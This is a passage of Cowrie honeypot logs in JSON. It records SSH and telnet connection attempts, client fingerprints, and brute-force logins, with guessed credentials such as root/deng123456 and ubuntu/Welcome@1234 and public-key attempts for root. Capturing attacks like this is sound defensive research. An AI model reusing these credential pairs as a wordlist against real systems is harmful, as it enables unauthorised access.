"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:33.911010Z","src_ip":"211.106.137.135","session":"44f05a163360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deng123456","message":"login attempt [root/deng123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:34.730315Z","src_ip":"211.106.137.135","session":"44f05a163360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:35.949585Z","src_ip":"211.106.137.135","session":"44f05a163360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43484,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4ced4ab653e","protocol":"telnet","message":"New connection: 170.64.224.25:43484 (159.203.135.109:23) [session: a4ced4ab653e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:36.333776Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":50926,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8d12cecaca","protocol":"ssh","message":"New connection: 91.92.40.4:50926 (10.17.0.5:22) [session: 2b8d12cecaca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:38.933500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:38.937231Z","src_ip":"91.92.40.4","session":"2b8d12cecaca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:39.017457Z","src_ip":"91.92.40.4","session":"2b8d12cecaca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234qwer","message":"login attempt [git/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:39.345005Z","src_ip":"91.92.40.4","session":"2b8d12cecaca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":39050,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d80219ded5","protocol":"ssh","message":"New connection: 152.53.185.81:39050 (10.17.0.5:22) [session: e1d80219ded5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:40.310009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:40.313550Z","src_ip":"152.53.185.81","session":"e1d80219ded5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:40.401543Z","src_ip":"152.53.185.81","session":"e1d80219ded5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:40.443628Z","src_ip":"91.92.40.4","session":"2b8d12cecaca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123@#","message":"login attempt [root/abc123@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:40.784204Z","src_ip":"152.53.185.81","session":"e1d80219ded5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:41.880107Z","src_ip":"152.53.185.81","session":"e1d80219ded5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":56718,"dst_ip":"159.203.135.109","dst_port":22,"session":"41f39d1a8a1c","protocol":"ssh","message":"New connection: 162.144.61.95:56718 (159.203.135.109:22) [session: 41f39d1a8a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:44.868393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:44.872000Z","src_ip":"162.144.61.95","session":"41f39d1a8a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:44.960264Z","src_ip":"162.144.61.95","session":"41f39d1a8a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"poloniexexchange","password":"poloniex123","message":"login attempt [poloniexexchange/poloniex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:45.226240Z","src_ip":"162.144.61.95","session":"41f39d1a8a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":49076,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d9f1368ef5d","protocol":"ssh","message":"New connection: 113.161.222.150:49076 (159.203.135.109:22) [session: 3d9f1368ef5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:45.929238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:45.932783Z","src_ip":"113.161.222.150","session":"3d9f1368ef5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:46.173866Z","src_ip":"113.161.222.150","session":"3d9f1368ef5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:46.317446Z","src_ip":"162.144.61.95","session":"41f39d1a8a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:47.169816Z","src_ip":"113.161.222.150","session":"3d9f1368ef5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:48.412024Z","src_ip":"113.161.222.150","session":"3d9f1368ef5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:52.731651Z","src_ip":"8.210.75.243","session":"989c937ab965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.59.54.34","src_port":58142,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d6b4bcc879","protocol":"ssh","message":"New connection: 137.59.54.34:58142 (10.17.0.5:22) [session: 71d6b4bcc879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:52.770483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:52.774599Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:53.006053Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:5f:76:61:04:ce:79:b2:f6:5b:af:4e:20:bb:5f:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzeqqMBWf3e2zXrsaXrpA7pzi+NPUF+EjwVXKDudWsv0kQ1oQEZlfsdG9bxA5Cd6zEeOaV5UAn1tkOcSk8NWyokRkiEjz4k4E0PgFL1NHvClBapXmtibwrICTCchcdp9qVyL7TBbfXrrM45q5iw/pB8NIyT1O6oem5WCCtNj3IjmJ4F3JpAbBDJ/wnkAgIfy8280TexIhV9dtzXrLtD0mR4i9L/NHmCVyeIt2our8ZDb5Ms9Bn9XQ/+Ikb0Ed4y0dYkD6AC5AFKM/lIUzKi/lhkcsxU/CzpaWTuSxK6VQBz073Y/90zyUgx+N5WnvhygW4/KmJUIZtwLK2jCSsnJld","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:5f:76:61:04:ce:79:b2:f6:5b:af:4e:20:bb:5f:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.040956Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:5f:76:61:04:ce:79:b2:f6:5b:af:4e:20:bb:5f:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzeqqMBWf3e2zXrsaXrpA7pzi+NPUF+EjwVXKDudWsv0kQ1oQEZlfsdG9bxA5Cd6zEeOaV5UAn1tkOcSk8NWyokRkiEjz4k4E0PgFL1NHvClBapXmtibwrICTCchcdp9qVyL7TBbfXrrM45q5iw/pB8NIyT1O6oem5WCCtNj3IjmJ4F3JpAbBDJ/wnkAgIfy8280TexIhV9dtzXrLtD0mR4i9L/NHmCVyeIt2our8ZDb5Ms9Bn9XQ/+Ikb0Ed4y0dYkD6AC5AFKM/lIUzKi/lhkcsxU/CzpaWTuSxK6VQBz073Y/90zyUgx+N5WnvhygW4/KmJUIZtwLK2jCSsnJld","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.044261Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:be:96:36:cb:22:cc:38:a7:85:51:6c:5c:c5:70:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3H9TKzBPMZ6j2TYQ62eXkBopYldxYFbgl9c5QSrptCN7wHDPfTSzczN86L5+0t/nM2zQUq52d92P/Kb8Q+xnwucH0KG50l3NR4/um/1D3/ntuNsjtqu0DHWHi/UQoSHOTjXLPSoxFAPK++z/4N7xhwr5y1AU9rlFmhR2sKtPZuA3s6Wf47s9p3v0dWW0X3JJXiCwCde0Hdim5NobFqI+5Yd1lD0EAb2cmLO/3o9mdNazUb7jppXR6mJIRV90pG0A2KcPO9GzKYyBixG1Bi9h+GJLNsjuVaR5py1VQ27CawAz7RR1VOL6wncprGdV9Zln2TZhv7/LzvLcEE0QFN3kb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:be:96:36:cb:22:cc:38:a7:85:51:6c:5c:c5:70:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.259135Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:be:96:36:cb:22:cc:38:a7:85:51:6c:5c:c5:70:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3H9TKzBPMZ6j2TYQ62eXkBopYldxYFbgl9c5QSrptCN7wHDPfTSzczN86L5+0t/nM2zQUq52d92P/Kb8Q+xnwucH0KG50l3NR4/um/1D3/ntuNsjtqu0DHWHi/UQoSHOTjXLPSoxFAPK++z/4N7xhwr5y1AU9rlFmhR2sKtPZuA3s6Wf47s9p3v0dWW0X3JJXiCwCde0Hdim5NobFqI+5Yd1lD0EAb2cmLO/3o9mdNazUb7jppXR6mJIRV90pG0A2KcPO9GzKYyBixG1Bi9h+GJLNsjuVaR5py1VQ27CawAz7RR1VOL6wncprGdV9Zln2TZhv7/LzvLcEE0QFN3kb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.262201Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:c7:db:52:ea:00:22:d0:0c:78:fb:f3:0a:d4:d0:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwM/Uczt5bJ373wEo72YsvapXjCUeIC/nNDfTXCdcH2G5/W3SjlXpRJcicLFQEQjgZLI/C2URReBzzJjUs7xSzM2T5TG0yraIJfhnJWqaM0O4A4L3yP3uiAN9iDykOYwiyAE9r8rJWboorV+x+hW0GLNvOu7GOkrYPO9qFSjYF+zKBLAx+VOVB0AWw+dB7vd/g6xCTZ3gJ3oCJHUewzF5Ycul9flfmPUbp+YcCH8p4aogptWBHr5JL6vOBwpBaIpgW59d6ivakX50oRotNcUBOc+clfYPtuJ3ZdziTEg06K7yzmz0tP/xLQZNRzQOGdFyrxfoTmv13G9it+ZUVpVI1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:c7:db:52:ea:00:22:d0:0c:78:fb:f3:0a:d4:d0:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.474392Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:c7:db:52:ea:00:22:d0:0c:78:fb:f3:0a:d4:d0:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwM/Uczt5bJ373wEo72YsvapXjCUeIC/nNDfTXCdcH2G5/W3SjlXpRJcicLFQEQjgZLI/C2URReBzzJjUs7xSzM2T5TG0yraIJfhnJWqaM0O4A4L3yP3uiAN9iDykOYwiyAE9r8rJWboorV+x+hW0GLNvOu7GOkrYPO9qFSjYF+zKBLAx+VOVB0AWw+dB7vd/g6xCTZ3gJ3oCJHUewzF5Ycul9flfmPUbp+YcCH8p4aogptWBHr5JL6vOBwpBaIpgW59d6ivakX50oRotNcUBOc+clfYPtuJ3ZdziTEg06K7yzmz0tP/xLQZNRzQOGdFyrxfoTmv13G9it+ZUVpVI1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.477559Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:28:0d:40:5c:9a:7a:ce:d8:07:fe:8a:6d:a6:16:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB478F98M/xXoVDPpU/K7G7diSW9uQ7y8+qTUu+MLbmopcyvfoBwwL6tc/VteGIVARPaTfSQmqPhvwkkEPk56KCvb/xMHADgif2aP79ug5QveGZLPLmnKbUXq10izAqg5xMuLxHNJBuYQv+SY+VshHKB42pOodZM41sK5PTX6oAeGvyZS7exF1UddBBCR2OFLpxDnPw6ZGN4PmuaoHEEVDOZt6LDmsrCxb3a4DFKWIwlHMozAVwdEGtAllOQUNRH6iRIVUj2/PX5x9LSPHyW5t90z3fI5GZvu4NiB+Ncz7ggvvIiE419Gb/8EgJ6ifrj1gEHsPSSS8oJP5pR0OtVv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:28:0d:40:5c:9a:7a:ce:d8:07:fe:8a:6d:a6:16:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.688891Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:28:0d:40:5c:9a:7a:ce:d8:07:fe:8a:6d:a6:16:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB478F98M/xXoVDPpU/K7G7diSW9uQ7y8+qTUu+MLbmopcyvfoBwwL6tc/VteGIVARPaTfSQmqPhvwkkEPk56KCvb/xMHADgif2aP79ug5QveGZLPLmnKbUXq10izAqg5xMuLxHNJBuYQv+SY+VshHKB42pOodZM41sK5PTX6oAeGvyZS7exF1UddBBCR2OFLpxDnPw6ZGN4PmuaoHEEVDOZt6LDmsrCxb3a4DFKWIwlHMozAVwdEGtAllOQUNRH6iRIVUj2/PX5x9LSPHyW5t90z3fI5GZvu4NiB+Ncz7ggvvIiE419Gb/8EgJ6ifrj1gEHsPSSS8oJP5pR0OtVv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.691536Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
